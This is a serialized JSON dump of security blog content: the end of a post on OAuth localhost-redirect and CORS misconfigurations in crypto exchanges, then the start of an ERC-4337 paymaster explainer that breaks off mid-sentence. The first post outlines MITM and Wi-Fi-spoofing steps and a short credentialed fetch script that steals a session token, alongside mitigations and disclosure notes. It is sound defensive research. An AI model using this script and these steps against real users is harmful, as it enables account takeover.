div",{"type":23,"tag":504,"props":100292,"children":100293},{"style":523},[100294],{"type":28,"value":552},{"type":23,"tag":504,"props":100296,"children":100297},{"class":506,"line":79787},[100298,100303,100307],{"type":23,"tag":504,"props":100299,"children":100300},{"style":523},[100301],{"type":28,"value":100302},"                                id ",{"type":23,"tag":504,"props":100304,"children":100305},{"style":598},[100306],{"type":28,"value":601},{"type":23,"tag":504,"props":100308,"children":100309},{"style":622},[100310],{"type":28,"value":100311}," \"g_id_signin\"\n",{"type":23,"tag":504,"props":100313,"children":100314},{"class":506,"line":86974},[100315],{"type":23,"tag":504,"props":100316,"children":100317},{"style":523},[100318],{"type":28,"value":1688},{"type":23,"tag":504,"props":100320,"children":100321},{"class":506,"line":86982},[100322],{"type":23,"tag":504,"props":100323,"children":100324},{"style":523},[100325],{"type":28,"value":1611},{"type":23,"tag":504,"props":100327,"children":100329},{"class":506,"line":100328},62,[100330],{"type":23,"tag":504,"props":100331,"children":100332},{"style":523},[100333],{"type":28,"value":1705},{"type":23,"tag":504,"props":100335,"children":100337},{"class":506,"line":100336},63,[100338],{"type":23,"tag":504,"props":100339,"children":100340},{"style":523},[100341],{"type":28,"value":1714},{"type":23,"tag":504,"props":100343,"children":100345},{"class":506,"line":100344},64,[100346],{"type":23,"tag":504,"props":100347,"children":100348},{"style":523},[100349],{"type":28,"value":1282},{"type":23,"tag":504,"props":100351,"children":100353},{"class":506,"line":100352},65,[100354,100358,100362,100366,100370,100374],{"type":23,"tag":504,"props":100355,"children":100356},{"style":523},[100357],{"type":28,"value":1731},{"type":23,"tag":504,"props":100359,"children":100360},{"style":517},[100361],{"type":28,"value":1736},{"type":23,"tag":504,"props":100363,"children":100364},{"style":523},[100365],{"type":28,"value":1741},{"type":23,"tag":504,"props":100367,"children":100368},{"style":598},[100369],{"type":28,"value":601},{"type":23,"tag":504,"props":100371,"children":100372},{"style":511},[100373],{"type":28,"value":1750},{"type":23,"tag":504,"props":100375,"children":100376},{"style":523},[100377],{"type":28,"value":1192},{"type":23,"tag":504,"props":100379,"children":100381},{"class":506,"line":100380},66,[100382],{"type":23,"tag":504,"props":100383,"children":100384},{"style":523},[100385],{"type":28,"value":875},{"type":23,"tag":24,"props":100387,"children":100388},{},[100389],{"type":28,"value":100390},"We also reported this vulnerability to the Web3Auth mobile SDK, Slush Wallet, Kukai Wallet, and several other web3 platforms. As mentioned earlier, this issue could have allowed account takeover with zero user interaction if the user had installed an application that exploited the localhost redirect.",{"type":23,"tag":24,"props":100392,"children":100393},{},[100394],{"type":28,"value":100395},"Each team responded promptly, communicated clearly, and shipped fixes quickly. Their diligence set a strong example for coordinated response and helped ensure user security across the ecosystem.",{"type":23,"tag":82,"props":100397,"children":100399},{"id":100398},"how-to-mitigate",[100400],{"type":28,"value":100401},"How to Mitigate",{"type":23,"tag":24,"props":100403,"children":100404},{},[100405],{"type":28,"value":100406},"The proper way to mitigate this issue is to disallow localhost in the live environment. Developers should have a separate staging OAuth environment with a different client ID for testing purposes. It's important to ensure that tokens generated using the test client ID are not valid in the live environment.",{"type":23,"tag":70,"props":100408,"children":100410},{"id":100409},"exploiting-cors",[100411],{"type":28,"value":100412},"Exploiting CORS",{"type":23,"tag":24,"props":100414,"children":100415},{},[100416],{"type":28,"value":100417},"Another bug we found during our research was related to CORS misconfiguration and how different browsers handle mixed content requests.",{"type":23,"tag":24,"props":100419,"children":100420},{},[100421,100423,100429],{"type":28,"value":100422},"While checking for other bugs in exchanges, we found a CORS (Cross-Origin Resource Sharing) configuration allowing credentials and ",{"type":23,"tag":56,"props":100424,"children":100426},{"className":100425},[],[100427],{"type":28,"value":100428},"http://",{"type":28,"value":100430}," schema for any subdomain:",{"type":23,"tag":494,"props":100432,"children":100436},{"className":100433,"code":100434,"language":100435,"meta":7,"style":7},"language-http shiki shiki-themes slack-dark","HTTP 200 OK\nAccess-Control-Allow-Origin: http://aa.exchange.com\nAccess-Control-Allow-Credentials: true\n[...]\n","http",[100437],{"type":23,"tag":56,"props":100438,"children":100439},{"__ignoreMap":7},[100440,100448,100456,100464],{"type":23,"tag":504,"props":100441,"children":100442},{"class":506,"line":507},[100443],{"type":23,"tag":504,"props":100444,"children":100445},{},[100446],{"type":28,"value":100447},"HTTP 200 OK\n",{"type":23,"tag":504,"props":100449,"children":100450},{"class":506,"line":540},[100451],{"type":23,"tag":504,"props":100452,"children":100453},{},[100454],{"type":28,"value":100455},"Access-Control-Allow-Origin: http://aa.exchange.com\n",{"type":23,"tag":504,"props":100457,"children":100458},{"class":506,"line":555},[100459],{"type":23,"tag":504,"props":100460,"children":100461},{},[100462],{"type":28,"value":100463},"Access-Control-Allow-Credentials: true\n",{"type":23,"tag":504,"props":100465,"children":100466},{"class":506,"line":633},[100467],{"type":23,"tag":504,"props":100468,"children":100469},{},[100470],{"type":28,"value":9299},{"type":23,"tag":82,"props":100472,"children":100474},{"id":100473},"cors-misconfiguration-by-lack-of-tls",[100475],{"type":28,"value":100476},"CORS Misconfiguration by Lack of TLS",{"type":23,"tag":24,"props":100478,"children":100479},{},[100480,100482,100488],{"type":28,"value":100481},"This case requires specific preconditions. The idea is to redirect the user to an insecure subdomain of ",{"type":23,"tag":56,"props":100483,"children":100485},{"className":100484},[],[100486],{"type":28,"value":100487},"exchange.com",{"type":28,"value":100489}," and spoof the response by intercepting and tampering with the victim's network packets.",{"type":23,"tag":24,"props":100491,"children":100492},{},[100493],{"type":28,"value":100494},"However, while testing it by simulating an MITM attack, we figured out that this type of attack behaves differently amongst the main browsers:",{"type":23,"tag":350,"props":100496,"children":100497},{},[100498,100518],{"type":23,"tag":45,"props":100499,"children":100500},{},[100501,100503,100508,100510,100516],{"type":28,"value":100502},"Chrome --> won't work because cookies are not sent in ",{"type":23,"tag":56,"props":100504,"children":100506},{"className":100505},[],[100507],{"type":28,"value":100428},{"type":28,"value":100509}," --> ",{"type":23,"tag":56,"props":100511,"children":100513},{"className":100512},[],[100514],{"type":28,"value":100515},"https://",{"type":28,"value":100517}," requests, even if same-site",{"type":23,"tag":45,"props":100519,"children":100520},{},[100521,100523],{"type":28,"value":100522},"Firefox and Safari --> works since cookies are sent from an insecure context ",{"type":23,"tag":56,"props":100524,"children":100526},{"className":100525},[],[100527],{"type":28,"value":36741},{"type":23,"tag":82,"props":100529,"children":100531},{"id":100530},"exploit-1",[100532],{"type":28,"value":98862},{"type":23,"tag":24,"props":100534,"children":100535},{},[100536],{"type":28,"value":100537},"To exploit it, we must follow some steps:",{"type":23,"tag":41,"props":100539,"children":100540},{},[100541,100546,100551],{"type":23,"tag":45,"props":100542,"children":100543},{},[100544],{"type":28,"value":100545},"Force the victim to enter an insecure webpage in the exchange subdomain",{"type":23,"tag":45,"props":100547,"children":100548},{},[100549],{"type":28,"value":100550},"Deliver the malicious script to the victim using MITM (Man-In-The-Middle)",{"type":23,"tag":45,"props":100552,"children":100553},{},[100554,100556,100561],{"type":28,"value":100555},"Use ",{"type":23,"tag":56,"props":100557,"children":100559},{"className":100558},[],[100560],{"type":28,"value":36741},{"type":28,"value":100562}," with CORS to do something malicious using the victim's account",{"type":23,"tag":24,"props":100564,"children":100565},{},[100566],{"type":28,"value":100567},"To exploit the CORS issue, an attacker must first get the victim to load an insecure subdomain. This can be achieved through techniques such as spoofing Wi-Fi or creating a fake public network that automatically opens the insecure page as the captive portal.",{"type":23,"tag":24,"props":100569,"children":100570},{},[100571,100573,100578],{"type":28,"value":100572},"Once the redirect to the ",{"type":23,"tag":56,"props":100574,"children":100576},{"className":100575},[],[100577],{"type":28,"value":100428},{"type":28,"value":100579}," website is made, if the attacker is in an adjacent network, it is possible to intercept the HTTP request/response (or DNS resolve) and tamper with the returning page. The returning page should have a malicious script that exploits the CORS misconfiguration:",{"type":23,"tag":494,"props":100581,"children":100583},{"className":496,"code":100582,"language":498,"meta":7,"style":7},"(async () => {\n  let res = await fetch('https://www.exchange.com/api/session_token', {\n    credentials: 'include',\n    method: 'POST',\n  });\n  console.log(await res.json());\n})();\n",[100584],{"type":23,"tag":56,"props":100585,"children":100586},{"__ignoreMap":7},[100587,100610,100647,100664,100681,100688,100729],{"type":23,"tag":504,"props":100588,"children":100589},{"class":506,"line":507},[100590,100594,100598,100602,100606],{"type":23,"tag":504,"props":100591,"children":100592},{"style":523},[100593],{"type":28,"value":526},{"type":23,"tag":504,"props":100595,"children":100596},{"style":511},[100597],{"type":28,"value":35122},{"type":23,"tag":504,"props":100599,"children":100600},{"style":523},[100601],{"type":28,"value":38672},{"type":23,"tag":504,"props":100603,"children":100604},{"style":511},[100605],{"type":28,"value":13802},{"type":23,"tag":504,"props":100607,"children":100608},{"style":523},[100609],{"type":28,"value":552},{"type":23,"tag":504,"props":100611,"children":100612},{"class":506,"line":540},[100613,100617,100622,100626,100630,100634,100638,100643],{"type":23,"tag":504,"props":100614,"children":100615},{"style":511},[100616],{"type":28,"value":6838},{"type":23,"tag":504,"props":100618,"children":100619},{"style":529},[100620],{"type":28,"value":100621}," res",{"type":23,"tag":504,"props":100623,"children":100624},{"style":598},[100625],{"type":28,"value":648},{"type":23,"tag":504,"props":100627,"children":100628},{"style":544},[100629],{"type":28,"value":35188},{"type":23,"tag":504,"props":100631,"children":100632},{"style":517},[100633],{"type":28,"value":31906},{"type":23,"tag":504,"props":100635,"children":100636},{"style":523},[100637],{"type":28,"value":526},{"type":23,"tag":504,"props":100639,"children":100640},{"style":622},[100641],{"type":28,"value":100642},"'https://www.exchange.com/api/session_token'",{"type":23,"tag":504,"props":100644,"children":100645},{"style":523},[100646],{"type":28,"value":47861},{"type":23,"tag":504,"props":100648,"children":100649},{"class":506,"line":555},[100650,100655,100660],{"type":23,"tag":504,"props":100651,"children":100652},{"style":529},[100653],{"type":28,"value":100654},"    credentials:",{"type":23,"tag":504,"props":100656,"children":100657},{"style":622},[100658],{"type":28,"value":100659}," 'include'",{"type":23,"tag":504,"props":100661,"children":100662},{"style":523},[100663],{"type":28,"value":2484},{"type":23,"tag":504,"props":100665,"children":100666},{"class":506,"line":633},[100667,100672,100677],{"type":23,"tag":504,"props":100668,"children":100669},{"style":529},[100670],{"type":28,"value":100671},"    method:",{"type":23,"tag":504,"props":100673,"children":100674},{"style":622},[100675],{"type":28,"value":100676}," 'POST'",{"type":23,"tag":504,"props":100678,"children":100679},{"style":523},[100680],{"type":28,"value":2484},{"type":23,"tag":504,"props":100682,"children":100683},{"class":506,"line":687},[100684],{"type":23,"tag":504,"props":100685,"children":100686},{"style":523},[100687],{"type":28,"value":96945},{"type":23,"tag":504,"props":100689,"children":100690},{"class":506,"line":736},[100691,100696,100700,100705,100709,100713,100717,100721,100725],{"type":23,"tag":504,"props":100692,"children":100693},{"style":529},[100694],{"type":28,"value":100695},"  console",{"type":23,"tag":504,"props":100697,"children":100698},{"style":523},[100699],{"type":28,"value":320},{"type":23,"tag":504,"props":100701,"children":100702},{"style":517},[100703],{"type":28,"value":100704},"log",{"type":23,"tag":504,"props":100706,"children":100707},{"style":523},[100708],{"type":28,"value":526},{"type":23,"tag":504,"props":100710,"children":100711},{"style":544},[100712],{"type":28,"value":31893},{"type":23,"tag":504,"props":100714,"children":100715},{"style":529},[100716],{"type":28,"value":100621},{"type":23,"tag":504,"props":100718,"children":100719},{"style":523},[100720],{"type":28,"value":320},{"type":23,"tag":504,"props":100722,"children":100723},{"style":517},[100724],{"type":28,"value":32975},{"type":23,"tag":504,"props":100726,"children":100727},{"style":523},[100728],{"type":28,"value":14405},{"type":23,"tag":504,"props":100730,"children":100731},{"class":506,"line":785},[100732],{"type":23,"tag":504,"props":100733,"children":100734},{"style":523},[100735],{"type":28,"value":100736},"})();\n",{"type":23,"tag":24,"props":100738,"children":100739},{},[100740],{"type":28,"value":100741},"During our research, the misconfiguration we found was in an API with an endpoint to return the session token, so the impact was an account takeover (ATO) with some limitations since exchanges usually have MFA to perform some actions like withdrawing.",{"type":23,"tag":82,"props":100743,"children":100744},{"id":887},[100745],{"type":28,"value":890},{"type":23,"tag":24,"props":100747,"children":100748},{},[100749,100751,100756],{"type":28,"value":100750},"As mitigation, it is recommended to remove all ",{"type":23,"tag":56,"props":100752,"children":100754},{"className":100753},[],[100755],{"type":28,"value":100428},{"type":28,"value":100757}," URLs from the CORS configuration, including localhost, since a local web server in a mobile environment can abuse it.",{"type":23,"tag":24,"props":100759,"children":100760},{},[100761],{"type":28,"value":100762},"Also, as additional/alternative remediation, it is possible to configure the HSTS policy to include all subdomains and prevent insecure subdomains from loading in the browser.",{"type":23,"tag":70,"props":100764,"children":100765},{"id":1800},[100766],{"type":28,"value":1803},{"type":23,"tag":24,"props":100768,"children":100769},{},[100770],{"type":28,"value":100771},"In conclusion, our deep dive into authentication and client-side bugs within exchange platforms revealed several vulnerabilities stemming from misconfigurations. These types of attacks show the complexity of securing client-side applications due to the different contexts and environments they can operate in.",{"type":23,"tag":24,"props":100773,"children":100774},{},[100775],{"type":28,"value":100776},"It also demonstrates how development configurations can harm the application's security if they are also used in production. Thus, auditors must always understand in which environments and contexts the application will/can be run in, and ensure that the configurations are not insecure for use in production.",{"type":23,"tag":1815,"props":100778,"children":100779},{},[100780],{"type":28,"value":1819},{"title":7,"searchDepth":540,"depth":540,"links":100782},[100783,100788,100793],{"id":98467,"depth":540,"text":98470,"children":100784},[100785,100786,100787],{"id":98478,"depth":555,"text":98481},{"id":98835,"depth":555,"text":98838},{"id":100398,"depth":555,"text":100401},{"id":100409,"depth":540,"text":100412,"children":100789},[100790,100791,100792],{"id":100473,"depth":555,"text":100476},{"id":100530,"depth":555,"text":98862},{"id":887,"depth":555,"text":890},{"id":1800,"depth":540,"text":1803},"content:blog:2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations.md","blog/2025-10-16-how-we-broke-exchanges-oauth-misconfigurations",{"_path":100798,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":100799,"description":100800,"date":100801,"author":100802,"image":100803,"isFeatured":16,"onBlogPage":16,"tags":100805,"body":100808,"_type":1838,"_id":106580,"_source":1840,"_file":106581,"_stem":106582,"_extension":1843},"/blog/2025-12-02-paymasters-evm","ERC-4337 Paymasters: Better UX, Hidden Risks","ERC-4337 paymasters unlock powerful UX by abstracting gas costs, but they also add complexity and subtle bugs. Explore some common pitfalls in real-world implementations and learn how to design production-ready paymasters.","2025-12-02T12:00:00.000Z","nicholas",{"src":100804,"width":96019,"height":12604},"/posts/paymasters-evm/title.png",[100806,100807],"evm","ERC-4337",{"type":20,"children":100809,"toc":106559},[100810,100814,100825,100830,100835,100840,100846,100852,100857,100862,100868,100873,100901,100907,100912,100919,100924,100934,100939,100965,100971,100991,100997,101017,101025,101056,101089,101098,101110,101135,101147,101160,101203,101209,101242,101341,101360,101383,101388,101394,101422,101569,101574,101601,101607,101619,101631,101640,101675,101680,103165,103193,103214,103219,103231,103240,103245,103263,103286,103291,103297,103351,103357,103390,103425,104249,104285,104321,104387,104420,104918,104971,104983,105547,105616,105643,106265,106307,106334,106346,106407,106426,106460,106465,106470,106475,106479,106484,106519,106545,106550,106555],{"type":23,"tag":34349,"props":100811,"children":100812},{"id":27996},[100813],{"type":28,"value":27999},{"type":23,"tag":24,"props":100815,"children":100816},{},[100817,100823],{"type":23,"tag":92,"props":100818,"children":100821},{"href":100819,"rel":100820},"https://docs.erc4337.io/",[96],[100822],{"type":28,"value":100807},{"type":28,"value":100824}," (Account Abstraction) has unlocked a new wave of UX improvements for Ethereum. By decoupling users from EOAs (Externally Owned Accounts), it enables smart contract wallets, gas sponsorships, and flexible authentication mechanisms.",{"type":23,"tag":24,"props":100826,"children":100827},{},[100828],{"type":28,"value":100829},"One of the most powerful features introduced by ERC-4337 is the paymaster, a contract that can sponsor gas fees for users. This allows dApps to deliver seamless, “gasless” experiences where users don’t have to hold ETH to transact.",{"type":23,"tag":24,"props":100831,"children":100832},{},[100833],{"type":28,"value":100834},"However, building a correct paymaster isn’t trivial. We’ve seen many developers trip up on subtle details of the standard, which can cause unexpected behavior or unnecessary complexity.",{"type":23,"tag":24,"props":100836,"children":100837},{},[100838],{"type":28,"value":100839},"In this article, we’ll break down how ERC-4337 works at a high level, zoom in on the paymaster’s role, and walk through the most common pitfalls we’ve observed when implementing paymasters. By the end, you’ll have a clear picture of how to design paymasters that follow best practices and are production-ready.",{"type":23,"tag":34349,"props":100841,"children":100843},{"id":100842},"erc4337-overview",[100844],{"type":28,"value":100845},"ERC4337 Overview",{"type":23,"tag":70,"props":100847,"children":100849},{"id":100848},"traditional-eoas-vs-smart-contract-wallets",[100850],{"type":28,"value":100851},"Traditional EOAs vs Smart Contract Wallets",{"type":23,"tag":24,"props":100853,"children":100854},{},[100855],{"type":28,"value":100856},"In Ethereum’s early design, user accounts are Externally Owned Accounts (EOAs), controlled by a private key. When you send a transaction (e.g. token transfer or contract call), your private key signs the transaction, and you must pay gas in ETH. If the key is lost or stolen, you lose access to everything permanently. This setup is simple, but also rigid and risky.",{"type":23,"tag":24,"props":100858,"children":100859},{},[100860],{"type":28,"value":100861},"By contrast, smart contract accounts (or \"smart wallets\") are programmable. They can enforce logic like multiple signatures, spending limits, social recovery, batching, and more, automating many aspects of security and usability.",{"type":23,"tag":70,"props":100863,"children":100865},{"id":100864},"why-erc4337-was-introduced",[100866],{"type":28,"value":100867},"Why ERC‑4337 Was Introduced",{"type":23,"tag":24,"props":100869,"children":100870},{},[100871],{"type":28,"value":100872},"Smart wallets offer powerful features, but Ethereum’s protocol restricts transactions to originate only from EOAs. Previous proposals (e.g. EIP‑2938, EIP‑3074) tried to change the protocol itself, requiring a hard fork. ERC‑4337 achieves account abstraction entirely off‑chain, using higher-layer infrastructure without any changes to Ethereum’s consensus layer. This unlocks key UX improvements:",{"type":23,"tag":350,"props":100874,"children":100875},{},[100876,100881,100886,100891,100896],{"type":23,"tag":45,"props":100877,"children":100878},{},[100879],{"type":28,"value":100880},"User recovery for lost keys (e.g. social recovery)",{"type":23,"tag":45,"props":100882,"children":100883},{},[100884],{"type":28,"value":100885},"Batched or atomic multi-step operations in one flow",{"type":23,"tag":45,"props":100887,"children":100888},{},[100889],{"type":28,"value":100890},"Paying gas fees with ERC‑20 tokens or via sponsor (gasless UX)",{"type":23,"tag":45,"props":100892,"children":100893},{},[100894],{"type":28,"value":100895},"Using custom signature schemes or multisig logic",{"type":23,"tag":45,"props":100897,"children":100898},{},[100899],{"type":28,"value":100900},"Creation and use of smart contract wallets without needing ETH or seed phrase upfront",{"type":23,"tag":70,"props":100902,"children":100904},{"id":100903},"how-erc-4337-works",[100905],{"type":28,"value":100906},"How ERC-4337 Works",{"type":23,"tag":24,"props":100908,"children":100909},{},[100910],{"type":28,"value":100911},"Before diving into each component, let's look at how ERC-4337 works at a high level:",{"type":23,"tag":24,"props":100913,"children":100914},{},[100915],{"type":23,"tag":126,"props":100916,"children":100918},{"alt":128,"src":100917},"/posts/paymasters-evm/flowchart.png",[],{"type":23,"tag":24,"props":100920,"children":100921},{},[100922],{"type":28,"value":100923},"The diagram above shows the key flow of ERC-4337. Below is a short explanation of each component shown above.",{"type":23,"tag":82,"props":100925,"children":100927},{"id":100926},"useroperation",[100928],{"type":23,"tag":56,"props":100929,"children":100931},{"className":100930},[],[100932],{"type":28,"value":100933},"UserOperation",{"type":23,"tag":24,"props":100935,"children":100936},{},[100937],{"type":28,"value":100938},"A UserOperation is a pseudo‑transaction object representing the user’s intent. It includes data like:",{"type":23,"tag":350,"props":100940,"children":100941},{},[100942,100947,100952],{"type":23,"tag":45,"props":100943,"children":100944},{},[100945],{"type":28,"value":100946},"Target contract call(s)",{"type":23,"tag":45,"props":100948,"children":100949},{},[100950],{"type":28,"value":100951},"Signature or validation metadata",{"type":23,"tag":45,"props":100953,"children":100954},{},[100955,100957,100963],{"type":28,"value":100956},"Gas limits and fee payment details (wallet address, paymaster, bundler)\n",{"type":23,"tag":56,"props":100958,"children":100960},{"className":100959},[],[100961],{"type":28,"value":100962},"UserOperations",{"type":28,"value":100964}," are submitted to a separate mempool (often called alt‑mempool), not the regular Ethereum transaction pool.",{"type":23,"tag":82,"props":100966,"children":100968},{"id":100967},"smart-contract-account",[100969],{"type":28,"value":100970},"Smart Contract Account",{"type":23,"tag":24,"props":100972,"children":100973},{},[100974,100976,100982,100983,100989],{"type":28,"value":100975},"Often called Sender or Smart Account, this is a user-controlled contract implementing logic via ",{"type":23,"tag":56,"props":100977,"children":100979},{"className":100978},[],[100980],{"type":28,"value":100981},"validateUserOp()",{"type":28,"value":430},{"type":23,"tag":56,"props":100984,"children":100986},{"className":100985},[],[100987],{"type":28,"value":100988},"executeUserOp()",{"type":28,"value":100990},". It specifies custom rules: signature checking, nonce logic, allowed calls, or spending limits.",{"type":23,"tag":82,"props":100992,"children":100994},{"id":100993},"bundler",[100995],{"type":28,"value":100996},"Bundler",{"type":23,"tag":24,"props":100998,"children":100999},{},[101000,101002,101007,101009,101015],{"type":28,"value":101001},"A Bundler is an off‑chain service or node monitoring the alt‑mempool. It collects multiple ",{"type":23,"tag":56,"props":101003,"children":101005},{"className":101004},[],[101006],{"type":28,"value":100962},{"type":28,"value":101008},", packages them, and submits them in a single transaction to the ",{"type":23,"tag":56,"props":101010,"children":101012},{"className":101011},[],[101013],{"type":28,"value":101014},"EntryPoint",{"type":28,"value":101016}," contract. Bundlers must use an EOA to pay gas upfront and are later reimbursed.",{"type":23,"tag":82,"props":101018,"children":101019},{"id":13704},[101020],{"type":23,"tag":56,"props":101021,"children":101023},{"className":101022},[],[101024],{"type":28,"value":101014},{"type":23,"tag":24,"props":101026,"children":101027},{},[101028,101029,101034,101036,101041,101043,101047,101049,101054],{"type":28,"value":15592},{"type":23,"tag":56,"props":101030,"children":101032},{"className":101031},[],[101033],{"type":28,"value":101014},{"type":28,"value":101035}," contract acts as the central on-chain gateway for ERC-4337. For every batch of ",{"type":23,"tag":56,"props":101037,"children":101039},{"className":101038},[],[101040],{"type":28,"value":100962},{"type":28,"value":101042}," submitted by a ",{"type":23,"tag":296,"props":101044,"children":101045},{},[101046],{"type":28,"value":100996},{"type":28,"value":101048},", the ",{"type":23,"tag":56,"props":101050,"children":101052},{"className":101051},[],[101053],{"type":28,"value":101014},{"type":28,"value":101055}," validates and routes each operation back to the corresponding Smart Contract Wallet for execution.",{"type":23,"tag":24,"props":101057,"children":101058},{},[101059,101061,101066,101068,101072,101074,101079,101081,101087],{"type":28,"value":101060},"Once all operations have been processed, the ",{"type":23,"tag":56,"props":101062,"children":101064},{"className":101063},[],[101065],{"type":28,"value":101014},{"type":28,"value":101067}," calculates the total gas consumed and reimburses the ",{"type":23,"tag":296,"props":101069,"children":101070},{},[101071],{"type":28,"value":100996},{"type":28,"value":101073},". This payment can come either directly from the sender's Smart Account deposit in the ",{"type":23,"tag":56,"props":101075,"children":101077},{"className":101076},[],[101078],{"type":28,"value":101014},{"type":28,"value":101080}," or from a ",{"type":23,"tag":56,"props":101082,"children":101084},{"className":101083},[],[101085],{"type":28,"value":101086},"paymaster",{"type":28,"value":101088}," that has agreed to sponsor the transaction.",{"type":23,"tag":82,"props":101090,"children":101091},{"id":101086},[101092],{"type":23,"tag":56,"props":101093,"children":101095},{"className":101094},[],[101096],{"type":28,"value":101097},"Paymaster",{"type":23,"tag":24,"props":101099,"children":101100},{},[101101,101103,101108],{"type":28,"value":101102},"A ",{"type":23,"tag":56,"props":101104,"children":101106},{"className":101105},[],[101107],{"type":28,"value":101086},{"type":28,"value":101109}," is an optional smart contract that enables flexible gas payment options. It can either sponsor gas fees directly or allow users to pay gas using ERC-20 tokens instead of ETH. It runs two key functions:",{"type":23,"tag":350,"props":101111,"children":101112},{},[101113,101124],{"type":23,"tag":45,"props":101114,"children":101115},{},[101116,101122],{"type":23,"tag":56,"props":101117,"children":101119},{"className":101118},[],[101120],{"type":28,"value":101121},"validatePaymasterUserOp()",{"type":28,"value":101123}," to validate the operation. This can check sponsorship eligibility or verify that the user has sufficient ERC-20 token balance and allowance to cover gas costs. The exact implementation of the function depends on how the protocol implements it.",{"type":23,"tag":45,"props":101125,"children":101126},{},[101127,101133],{"type":23,"tag":56,"props":101128,"children":101130},{"className":101129},[],[101131],{"type":28,"value":101132},"postOp()",{"type":28,"value":101134},", which handles post-execution accounting. For sponsored transactions, this may update internal accounting records, while for token payments, it typically finalizes any accounting related to the ERC-20 token payment.",{"type":23,"tag":24,"props":101136,"children":101137},{},[101138,101140,101145],{"type":28,"value":101139},"By supporting both sponsorship and token-based gas payments, ",{"type":23,"tag":56,"props":101141,"children":101143},{"className":101142},[],[101144],{"type":28,"value":101086},{"type":28,"value":101146}," removes the requirement for users to hold ETH, enabling truly gasless transactions through either model.",{"type":23,"tag":70,"props":101148,"children":101150},{"id":101149},"understanding-the-entrypoints-flow",[101151,101153,101158],{"type":28,"value":101152},"Understanding the ",{"type":23,"tag":56,"props":101154,"children":101156},{"className":101155},[],[101157],{"type":28,"value":101014},{"type":28,"value":101159},"'s Flow",{"type":23,"tag":24,"props":101161,"children":101162},{},[101163,101165,101170,101171,101176,101178,101189,101191,101196,101197,101202],{"type":28,"value":101164},"When a bundler submits ",{"type":23,"tag":56,"props":101166,"children":101168},{"className":101167},[],[101169],{"type":28,"value":100962},{"type":28,"value":15390},{"type":23,"tag":56,"props":101172,"children":101174},{"className":101173},[],[101175],{"type":28,"value":101014},{"type":28,"value":101177}," contract via ",{"type":23,"tag":92,"props":101179,"children":101182},{"href":101180,"rel":101181},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L58",[96],[101183],{"type":23,"tag":56,"props":101184,"children":101186},{"className":101185},[],[101187],{"type":28,"value":101188},"handleOps()",{"type":28,"value":101190},", the processing occurs in two main phases: ",{"type":23,"tag":296,"props":101192,"children":101193},{},[101194],{"type":28,"value":101195},"Validation",{"type":28,"value":430},{"type":23,"tag":296,"props":101198,"children":101199},{},[101200],{"type":28,"value":101201},"Execution",{"type":28,"value":320},{"type":23,"tag":82,"props":101204,"children":101206},{"id":101205},"validation-phase",[101207],{"type":28,"value":101208},"Validation Phase",{"type":23,"tag":24,"props":101210,"children":101211},{},[101212,101214,101219,101221,101227,101229,101235,101236,101241],{"type":28,"value":101213},"In this phase, the ",{"type":23,"tag":56,"props":101215,"children":101217},{"className":101216},[],[101218],{"type":28,"value":101014},{"type":28,"value":101220}," first validates all operations in the submitted ",{"type":23,"tag":56,"props":101222,"children":101224},{"className":101223},[],[101225],{"type":28,"value":101226},"UserOps",{"type":28,"value":101228}," array before executing any of them. This ensures that only valid operations proceed to execution. For each ",{"type":23,"tag":56,"props":101230,"children":101232},{"className":101231},[],[101233],{"type":28,"value":101234},"UserOp",{"type":28,"value":101048},{"type":23,"tag":56,"props":101237,"children":101239},{"className":101238},[],[101240],{"type":28,"value":101014},{"type":28,"value":3472},{"type":23,"tag":41,"props":101243,"children":101244},{},[101245,101263,101281,101302,101314],{"type":23,"tag":45,"props":101246,"children":101247},{},[101248,101255,101257],{"type":23,"tag":92,"props":101249,"children":101252},{"href":101250,"rel":101251},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L764-L777",[96],[101253],{"type":28,"value":101254},"Calculates",{"type":28,"value":101256}," the required prefund amount by summing up all specified gas limits (verification, execution, and paymaster if used) multiplied by the user's specified ",{"type":23,"tag":56,"props":101258,"children":101260},{"className":101259},[],[101261],{"type":28,"value":101262},"maxFeePerGas",{"type":23,"tag":45,"props":101264,"children":101265},{},[101266,101273,101274,101279],{"type":23,"tag":92,"props":101267,"children":101270},{"href":101268,"rel":101269},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L545-L553",[96],[101271],{"type":28,"value":101272},"Calls",{"type":28,"value":5441},{"type":23,"tag":56,"props":101275,"children":101277},{"className":101276},[],[101278],{"type":28,"value":100981},{"type":28,"value":101280}," on the sender's smart account contract to verify the operation's validity (e.g. checking signatures)",{"type":23,"tag":45,"props":101282,"children":101283},{},[101284,101286,101293,101295,101300],{"type":28,"value":101285},"If no paymaster is specified, attempts to ",{"type":23,"tag":92,"props":101287,"children":101290},{"href":101288,"rel":101289},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L554-L557",[96],[101291],{"type":28,"value":101292},"deduct",{"type":28,"value":101294}," the prefund amount from the sender's ETH deposit in the ",{"type":23,"tag":56,"props":101296,"children":101298},{"className":101297},[],[101299],{"type":28,"value":101014},{"type":28,"value":101301}," (this can be partially refunded later if actual execution costs less)",{"type":23,"tag":45,"props":101303,"children":101304},{},[101305,101312],{"type":23,"tag":92,"props":101306,"children":101309},{"href":101307,"rel":101308},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L785-L788",[96],[101310],{"type":28,"value":101311},"Validates",{"type":28,"value":101313}," the nonce to prevent replay attacks",{"type":23,"tag":45,"props":101315,"children":101316},{},[101317,101319,101325,101327,101333,101334,101339],{"type":28,"value":101318},"If a paymaster is specified, it will ",{"type":23,"tag":92,"props":101320,"children":101323},{"href":101321,"rel":101322},"https://github.com/eth-infinitism/account-abstraction/blob/releases/v0.8/contracts/core/EntryPoint.sol#L623-L627",[96],[101324],{"type":28,"value":101292},{"type":28,"value":101326}," the required prefund amount from the paymaster's deposited ETH and then 